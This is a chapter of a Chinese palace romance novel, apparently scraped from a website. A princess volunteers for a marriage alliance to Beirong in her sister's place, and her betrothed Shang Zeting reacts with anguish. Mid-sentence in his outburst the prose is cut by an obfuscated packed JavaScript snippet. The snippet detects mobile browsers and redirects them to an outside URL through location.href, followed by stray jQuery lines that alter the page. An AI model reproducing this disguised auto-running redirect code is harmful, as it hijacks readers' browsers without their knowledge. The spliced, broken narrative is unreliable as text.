皇上也被卢恩慈的话语震惊住,保持着端碗筷的姿势。许久的沉默后,他才开口:“你和恩念商量了吗?”
“还未。恩念心善,若先和她说,她绝对不会同意儿臣替她和亲。”卢恩慈担心皇上多问她下午去了哪里,赶紧继续打感情牌:“儿臣和恩念姐妹情深,慧妃娘娘对儿臣也多有照拂。儿臣自幼丧母,不想再看到母女分离的情景重演了。”
“唉……”皇上被卢恩慈说得有些心动。但转念一想,若非卢恩慈和商泽亭先前订下了婚约,卢恩慈去和亲,确实是更无牵无挂一些。
“话虽如此说,但是朕怕你会后悔。”皇上叹口气:“你和泽亭成婚,一辈子能无忧无愁。可若去和亲,不晓得会遇到什么。你真的能舍弃和泽亭的这份良缘吗?”
“自然是不愿。”卢恩慈跪下叩头,言辞诚恳:“儿臣最希望的,是根本没有北戎奇袭这一事。既可以和商大人顺利成亲,恩念也不用去和亲。”
“是朕无能!”皇上一摔筷子。白玉筷箸摔至地面发出哐当声响,惊得小皇子哭出声。
“先把他抱下去。”皇上不耐烦地招招手,两位嬷嬷立刻将啼哭的婴孩抱出屋。
崔贵妃倒是没有离开——她当然要把这出好戏看完。
“父皇,木已成舟,无需再后悔。”卢恩慈第一次直视父亲的双眼:“儿臣明了您对我的苦心。只是,相比起父皇其他的女儿,儿臣是吃过苦的,比起恩念,更能适应和亲后的生活,故而更能维护大周和北戎的安定。”
这一番话,说到了皇上的心坎里。
是啊,若送去一位娇滴滴的公主,在北戎那边完全无法适应,反而还会招致北戎那边的厌恶。
不过皇上还得做出一位慈爱的父亲的样子,半是伪装,半是实意地痛心道:“恩慈啊,朕真的是对不住你。这么多年不在你身边,没有做到父亲的责任 。本想着接你入宫多享享福……”
他说着说着,眼角竟然真的流出了眼泪。
但是他对女儿的疼惜也只到这里为止了。
皇上借着崔贵妃递过来的手帕,擦干眼泪,随即答应道:“既然恩慈你自愿提出这个请求,朕就应下了。你放心,朕会给你备好丰厚的嫁妆,时常派使者去看望你,不会让你受委屈的。”
呵。卢恩慈不置可否,仿佛没听到父亲说的话,默不作声。
“朕明日上朝时,就宣告百官——和亲者为崇宁长公主卢恩慈。”皇上踱步走到卢恩慈跟前,将她扶起:“你千万要想好,明日宣布之后,你就没有反悔的机会了。”
“是,儿臣明白。”卢恩慈回避开父亲的眼神。
再之后,含元殿内寂静无声。
片刻后,卢恩慈出言打破这片安静:“儿臣已向父皇禀明所求之事,先告退了。”
“那……”皇上站也不是,坐也不是。他亲自送卢恩慈到含元殿门口:“就让父皇目送你回宫吧。”
卢恩慈移开目光,也不回话,带着雪青踏入殿外的夜色。
“长公主回来了!”
卢恩慈才远远看到长乐宫宫殿的牌匾,就听到在宫外守着的宫人向宫内传报。
不消一会儿,两道身影一前一后向她飞奔而来。
“是商大人和恩念公主!”雪青看清跑过来的身影:“长公主,你要如何对他们说?”
“还能如何说?”卢恩慈面无表情,垂下眸子:“如实说,只说部分。”
“殿下!”商泽亭身上还穿着礼部的官服,宽大的衣摆和皂靴并不适合大幅度跑动,但是他仍大步流星冲至卢恩慈的面前。
他绛红色的官服袍袖在夜风中飘扬,双眼目不转睛地盯着卢恩慈,似乎卢恩慈下一秒就要在眼前消失不见。
商泽亭看着卢恩慈欲言又止的神情,心里忽地猛跳不停,一种说不上来的可怕预感开始在脑海中翻腾。
他正想捧过卢恩慈的双手细细询问,身后传来卢恩念气喘吁吁地呼喊声:“恩慈姊姊!你终于回来了!”
卢恩念不由分说地扑到卢恩慈怀里,紧紧搂住她——这可羡煞了站在一旁的商泽亭。
“姊姊,你下午做什么去了?”卢恩念把头埋在卢恩慈脖颈处,瓮声瓮气:“我等了你好久呀……姊姊你知道吗?你院中的秋海棠开了十一朵。”
“都无聊得开始数花了呀。”卢恩慈挤出一个勉强的笑容。
“是商大人数的。”卢恩念努努嘴。
“长公主既然安全回宫了,微臣也不便在长公主宫中久留。”商泽亭屈下膝盖,正要离开,卢恩慈喊住了他。
“你先别走。”卢恩慈沉下嗓子,正色道:“恩念,你也跟我一块儿回去。我有重事和你们说。”
说罢,卢恩慈头也不回地往前走。
商泽亭将目光投向雪青,雪青不敢多言,小跑几步跟上卢恩慈。
终于,一行人围坐在长乐宫主殿内的八仙桌上。卢恩慈屏退了所有打扫的丫鬟太监,亲自关好门。
“什么事情呀?”卢恩念大为不解:“是恩慈姊姊的秘密吗?”
“不是什么秘密。”卢恩慈摇摇头:“是一件明日全天下所有人都会知道的消息。”
“明日?”商泽亭将这几天朝中大事都想了一遍,毫无头绪。
“我刚刚已经和父皇禀明,”卢恩慈没有任何铺垫,直入主题:“把和亲的公主人选,换成了我。”
“什么?”两道惊呼声几乎同时响起。
卢恩念不知道是该哭还是该笑。
一方面,卢恩念得知自己不用和亲,欣喜若狂。但另一方面,这份惊喜是卢恩慈牺牲自己换来的。
卢恩念只觉胸腔猛烈起伏,张着嘴说不出话,呈呆若木鸡状。
另一旁的商泽亭听到这个消息,差点从椅子上摔下去。
他再也不顾什么礼节,抛却所有的自尊和矜持,冲到卢恩慈身前,用双臂锢住她,逼迫她直视自己的眼睛。
卢恩慈只能抬头。
商泽亭那对天生的桃花眼,此刻已经湿润泛红,泫然欲泣。他幽黑的瞳仁中,能看到冷静端坐的自己。
商泽亭声音颤抖地发问:“长公主您这般所为何?若是抗拒臣,不愿和臣结亲,大可直接和臣说。您为什么要去和亲?”
卢恩慈刚要回答,商泽亭却不给她机会,他抓着卢恩慈的肩膀,整个人几乎要碎掉:“难道,在长公主的眼里,微臣连那些茹毛饮血的强盗匪徒还不如吗?”
“商大人,你冷静点……”卢恩慈想要拍拍商泽亭的后背,但被商泽亭握住,整个人被他扯进怀里。
“冷静?您要我怎么冷静?我
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17021011|192395||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
在家里细细打点结婚用的礼单,长公主您告诉我不要我了,要去和亲!”商泽亭紧抱住卢恩慈,疯狂地咆哮后,又转为低声卑微地祈求:“求您了,告诉臣这只是玩笑,求您了……”
“商大人,我——”卢恩慈刚要回答,商泽亭又开始发疯:“什么大人?我才不是什么大人!长公主,您说,我是您的驸马对不对?您会迎我进公主府,咱们和和美美地过一辈子对不对?”
“一定要皇上的亲女儿去和亲,我比恩念更合适。”卢恩慈觉得事以密成,看卢恩念在场,就暂时没有把实情说出。
“不行不行!凭什么你最合适?我才不管!皇上定了三公主殿下,就合该由她去!”商泽亭也不管卢恩念还在一边,只求卢恩慈的回应,就像一只被主人抛弃绳索的牧犬,迫切需要主人的牵引。
“不要闹了。”卢恩慈心累:“我不是因为不喜欢您而赌气和亲。这点我可以保证。”
“谁闹了?谁闹了?”商泽亭此时哪还有世家贵公子的风范:“我只知道长公主不要我了!”
“我们的婚约还没有正式定下来,现在取消于我们并没有损失……”卢恩慈话还没说完,商泽亭就夺门而出。
自卑惊慌的情绪铺天盖地地袭来,他的眼泪已经不可控制地流下来。
不要让长公主看到自己难堪失控的样子!抱着这样的心绪,商泽亭才选择匆忙逃离。
还没走几步,冷风刮过,吹得他眼角的泪水宛若钢刀划过脸颊。
商泽亭后悔了。若卢恩慈真要和亲,他应该留在长乐宫,多和她待一会儿。
商泽亭回头,此时长乐宫的灯已经熄灭。他伫立凝望片刻,转步离去。
卢恩慈不想让卢恩念牵涉进她的计划。所以,商泽亭走后卢恩念缠着她,问她愿意代为和亲的原因时,卢恩慈搬出向皇上解释的说辞。
“因为我比你更能适应艰苦的环境,更能做好连接北戎与大周的纽带。”卢恩慈搬出让卢恩念噤声的杀手锏:“你若想慧妃娘娘康复,就不要再纠结此事,好好待在寿安宫吧。”
第二日,皇上向满朝官员和北戎塞柱部的代表团面前,宣布了和谈的所有条款。
唯一有变动的,就是和亲公主。从一开始宴会上定下的三公主变成了长公主。
一些大臣略微诧异后又了然——尽管三公主母妃势弱,但毕竟有亲娘关心,而长公主无依无靠,这苦差事自然换成她了。
北戎塞柱部甚至没发觉人选变了。对他们来说,只要是大周皇帝亲女儿就行。
腊月初一,京城飘雪。天与云与山与水,上下一白。
宫里锣鼓喧天,长长的马车队排了几里路。
不少宫人来凑热闹,议论纷纷。
“还以为长公主能进宫享福呢,唉,是福不是祸,是祸躲不过啊。”
“听说本来她是要招商大人为驸马的。”
“不可能吧,若真是这样,她怎么会被选去和亲?”
大半年前初进宫时,好像也是这样的排场,也是这样的议论。
卢恩慈回望了一眼皇宫,不带留恋地上了马车。与身后装着送给北戎塞柱部的钱粮布帛一同,启程出发。
“长公主,请等一等!”一道稚嫩清脆的声音响起,来者似乎要拦住卢恩慈乘坐的马车。